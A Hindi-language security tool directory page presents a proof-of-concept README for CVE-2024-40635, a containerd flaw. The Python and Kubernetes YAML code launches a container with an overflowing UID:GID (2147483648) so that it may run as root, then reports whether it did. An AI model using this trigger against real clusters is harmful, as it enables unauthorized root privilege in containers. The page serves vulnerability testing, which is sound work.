Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-40635_POC — CVE-2024-40635 भेद्यता को साबित करने के लिए प्रूफ ऑफ कॉन्सेप्ट कोड | Kitploit
उपकरण/GitHubGitHub/yen5004/cve-2024-40635_poc
कंटेनर सुरक्षाभेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगक्लाउड सुरक्षालर्निंग और शिक्षा
GitHubyen5004/cve-2024-40635_poc

CVE-2024-40635_POC

CVE-2024-40635 भेद्यता को साबित करने के लिए प्रूफ ऑफ कॉन्सेप्ट कोड

रिपॉजिटरी देखें
161 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2024-40635_POC

CVE-2024-40635 भेद्यता को सिद्ध करने के लिए प्रूफ ऑफ कॉन्सेप्ट (PoC) कोड डेटा यहाँ से लिया गया: https://nvd.nist.gov/vuln/detail/CVE-2024-40635

1. डॉकर लाइब्रेरी आयात करना

import docker

यह Python docker लाइब्रेरी को आयात करता है, जो Docker के API के माध्यम से Docker के साथ इंटरैक्शन की अनुमति देता है। यदि यह लाइब्रेरी स्थापित नहीं है, तो आप इसे निम्न कमांड चलाकर जोड़ सकते हैं:

pip install docker

2. डॉकर क्लाइंट प्रारंभ करना

client = docker.from_env()

यहाँ, हम docker.from_env() विधि का उपयोग करके एक Docker क्लाइंट ऑब्जेक्ट बनाते हैं। यह आपकी मशीन (या, यदि कॉन्फ़िगर किया गया हो, तो रिमोट होस्ट) पर चल रहे Docker डेमन से कनेक्ट होता है।

3. भेद्यता जाँचने के लिए फ़ंक्शन परिभाषित करना

def is_system_vulnerable(container):
    try:
        # Inspect container details
        details = container.attrs
        uid_gid = details['Config']['User']
        print(f"Container UID:GID = {uid_gid}")  # Print the UID:GID
        if uid_gid == "0:0":  # Root UID:GID
            return True
        return False
    except Exception as e:
        print(f"Error checking container details: {e}")
        return False
  • उद्देश्य: यह फ़ंक्शन बनाए गए कंटेनर की विशेषताओं का निरीक्षण करके यह जाँचता है कि सिस्टम भेद्य है या नहीं।

  • मुख्य चरण:

    • container.attrs: कंटेनर के बारे में सभी मेटाडेटा लाता है (कॉन्फ़िगरेशन, रनटाइम सेटिंग्स, आदि)।

    • details['Config']['User']: उस UID:GID (उपयोगकर्ता और समूह ID) को निकालता है जिसके अंतर्गत कंटेनर चलता है। यह वह प्रॉपर्टी है जिसे हम परीक्षण कर रहे हैं।

    • print(f"Container UID:GID = {uid_gid}"): दृश्यता के लिए हमेशा UID:GID प्रिंट करता है।

    • भेद्यता जाँच: यदि UID:GID "0:0" है, तो यह दर्शाता है कि कंटेनर रूट विशेषाधिकारों के साथ चल रहा है, और सिस्टम भेद्य है।

4. डॉकर कंटेनर चलाना

container = client.containers.run(
    "vulnerable-image",  # Replace with your test image
    user="2147483648:2147483648",  # UID:GID exceeding 32-bit signed integer
    detach=True
)
  • client.containers.run: यह एक Docker कंटेनर बनाता है और प्रारंभ करता है।

    • "vulnerable-image": इसे परीक्षण के लिए उपयुक्त वास्तविक Docker इमेज के नाम से बदलें।

    • user="2147483648:2147483648": यहाँ, हम एक कस्टम उपयोगकर्ता और समूह ID (UID:GID) सेट करते हैं। ये मान 32-बिट साइन्ड पूर्णांक सीमा से अधिक हैं, जो भेद्यता के लिए ट्रिगर स्थिति है।

    • detach=True: यह सुनिश्चित करता है कि कंटेनर पृष्ठभूमि में चले, जिससे स्क्रिप्ट कंटेनर के निष्पादन समाप्त होने की प्रतीक्षा किए बिना आगे बढ़ सके।

5. त्रुटियों की जाँच करना

try:
    ...
except Exception as e:
    print(f"Error: {e}")

यह try-except ब्लॉक सुनिश्चित करता है कि कंटेनर निर्माण या निष्पादन के दौरान कोई भी त्रुटि पकड़ी और प्रिंट की जाए, जिससे स्क्रिप्ट की अचानक समाप्ति से बचा जा सके।

6. कंटेनर ID प्रिंट करना

print(f"Container {container.id} started.")

कंटेनर सफलतापूर्वक बनने और प्रारंभ होने के बाद, संदर्भ के लिए इसका अद्वितीय ID प्रिंट किया जाता है। यह डिबगिंग या कंटेनर का और निरीक्षण करने में उपयोगी है।

7. भेद्यता जाँच को आमंत्रित करना

if is_system_vulnerable(container):
    print("System is vulnerable: Container is running as root!")
else:
    print("System is not vulnerable.")

यह is_system_vulnerable function को कॉल करता है, और बनाए गए कंटेनर को एक तर्क के रूप में पास करता है। परिणाम के आधार पर (भेद्य होने पर True, भेद्य न होने पर False), यह संबंधित संदेश प्रिंट करता है।

8. आउटपुट विवरण

The script is designed to provide detailed information in its output, including:

  • कंटेनर को सौंपा गया UID:GID।

  • स्पष्ट संकेत कि सिस्टम भेद्य है या नहीं।

उदाहरण वॉकथ्रू:

कल्पना करें कि यह स्क्रिप्ट एक परीक्षण वातावरण में चलाई गई है, और निम्नलिखित होता है:

  1. एक कंटेनर भेद्य इमेज और उपयोगकर्ता 2147483648:2147483648 के साथ बनाया जाता है।
  2. भेद्यता जाँच के दौरान, सिस्टम इन ID को 0:0 (रूट) के रूप में व्याख्या करता है, जिससे कंटेनर रूट विशेषाधिकारों के साथ चलता है।
  3. स्क्रिप्ट इस व्यवहार की पहचान करती है, और प्रिंट करती है:
Container abc123 started.
Container UID:GID = 0:0
System is vulnerable: Container is running as root!

वैकल्पिक रूप से, यदि सिस्टम बड़े UID:GID मानों को सही ढंग से संभालता है और उन्हें रूट में मैप नहीं करता है, तो आप देख सकते हैं:

Container xyz456 started.
Container UID:GID = 2147483648:2147483648
System is not vulnerable.

परीक्षण के लिए नोट्स:

  • प्रोडक्शन सिस्टम को जोखिम में डालने से बचने के लिए एक पृथक वातावरण (जैसे, VM) का उपयोग करें।
  • "vulnerable-image" को अपने परीक्षण परिदृश्य के अनुकूल Docker इमेज से बदलें (जैसे, न्यूनतम निर्भरता वाली इमेज)।
  • सुनिश्चित करें कि Docker स्थापित है और Python वातावरण से पहुंच योग्य है।

वातावरण के अंदर से चलाना

इस प्रूफ ऑफ कॉन्सेप्ट (PoC) को Kubernetes और Harbor जैसे लाइव वातावरण में पेंटेस्टिंग के लिए चलाने में सावधानीपूर्वक योजना शामिल है ताकि यह सुनिश्चित किया जा सके कि परीक्षण नियंत्रित, नैतिक और प्रभावशाली है। यहाँ इसके संचालन का विवरण दिया गया है:

1. योजना बनाएं और तैयारी करें दायरा समझें: अपने परीक्षण की सीमाएं परिभाषित करें। सुनिश्चित करें कि आपके पास लाइव वातावरण में पेंटेस्टिंग करने की स्पष्ट अनुमति है।

2. बैकअप: महत्वपूर्ण सिस्टम और कंटेनर के बैकअप बनाएं, यदि परीक्षण उनकी उपलब्धता या डेटा को प्रभावित करता है।

3 परीक्षण वातावरण: उत्पादन वर्कलोड को प्रभावित करने से बचने के लिए Kubernetes के भीतर इस PoC के लिए समर्पित एक अलग नेमस्पेस या क्लस्टर स्थापित करें।

  1. परीक्षण के लिए Kubernetes का उपयोग करें यहाँ बताया गया है कि आप PoC को Kubernetes में कैसे एकीकृत कर सकते हैं: a. भेद्य संस्करण तैनात करें
  • अपने Kubernetes क्लस्टर के भीतर containerd के भेद्य संस्करण (v1.6.35-gke.0) का उपयोग करके एक कंटेनर तैनात करें।

  • हमले की सतह को छोटा रखने के लिए न्यूनतम निर्भरता वाली Docker इमेज (जैसे, "vulnerable-image") का उपयोग करें।

Kubernetes तैनाती के लिए उदाहरण YAML:

apiVersion: v1
kind: Pod
metadata:
  name: vulnerable-pod
  namespace: pentest
spec:
  containers:
  - name: vulnerable-container
    image: vulnerable-image  # Replace with your test image
    securityContext:
      runAsUser: 2147483648  # Intentionally exceed 32-bit signed integer
      runAsGroup: 2147483648

YAML को इसके साथ लागू करें:

kubectl apply -f pod.yml

b. PoC के साथ सत्यापित करें

  • उस मशीन से विकसित Python स्क्रिप्ट चलाएं जिसके पास Kubernetes क्लस्टर तक पहुंच है। उदाहरण के लिए, आप kubernetes Python लाइब्रेरी का उपयोग करके Kubernetes के साथ इंटरैक्ट करने के लिए स्क्रिप्ट को संशोधित कर सकते हैं।

  • इसे इसके साथ स्थापित करें:

pip install kubernetes

Kubernetes को एकीकृत करने के लिए एक अद्यतन स्निपेट यहाँ है:

from kubernetes import client, config

# Load Kubernetes configuration
config.load_kube_config()

# Create a Kubernetes API client
v1 = client.CoreV1Api()

# Check UID:GID for the specified pod
def check_pod_user(pod_name, namespace):
    pod = v1.read_namespaced_pod(name=pod_name, namespace=namespace)
    uid = pod.spec.containers[0].security_context.run_as_user
    gid = pod.spec.containers[0].security_context.run_as_group
    print(f"Pod {pod_name} UID:GID = {uid}:{gid}")
    if uid == 0 and gid == 0:
        print("System is vulnerable: Pod is running as root!")
    else:
        print("System is not vulnerable.")

check_pod_user("vulnerable-pod", "pentest")
  1. इमेज प्रबंधन के लिए Harbor का उपयोग करें चूंकि Harbor एक कंटेनर रजिस्ट्री है, आप यह कर सकते हैं:
  • भेद्य इमेज पुश करें: अपनी भेद्य इमेज को Harbor में टैग और पुश करें:
docker tag vulnerable-image harbor.local/vulnerable-image:latest
docker push harbor.local/vulnerable-image:latest
  • परीक्षण के लिए इमेज पुल करें: YAML फ़ाइल के image फ़ील्ड में पूर्ण Harbor पथ निर्दिष्ट करके सुनिश्चित करें कि Kubernetes Pod Harbor से इमेज का उपयोग करता है।

Harbor आपको इमेज एक्सेस नियंत्रित करने की अनुमति देता है, इसलिए एक्सेस को प्रतिबंधित करें ताकि यह सुनिश्चित हो सके कि भेद्य इमेज केवल पेंटेस्टिंग में उपयोग की जाए।

टूल डाउनलोड करें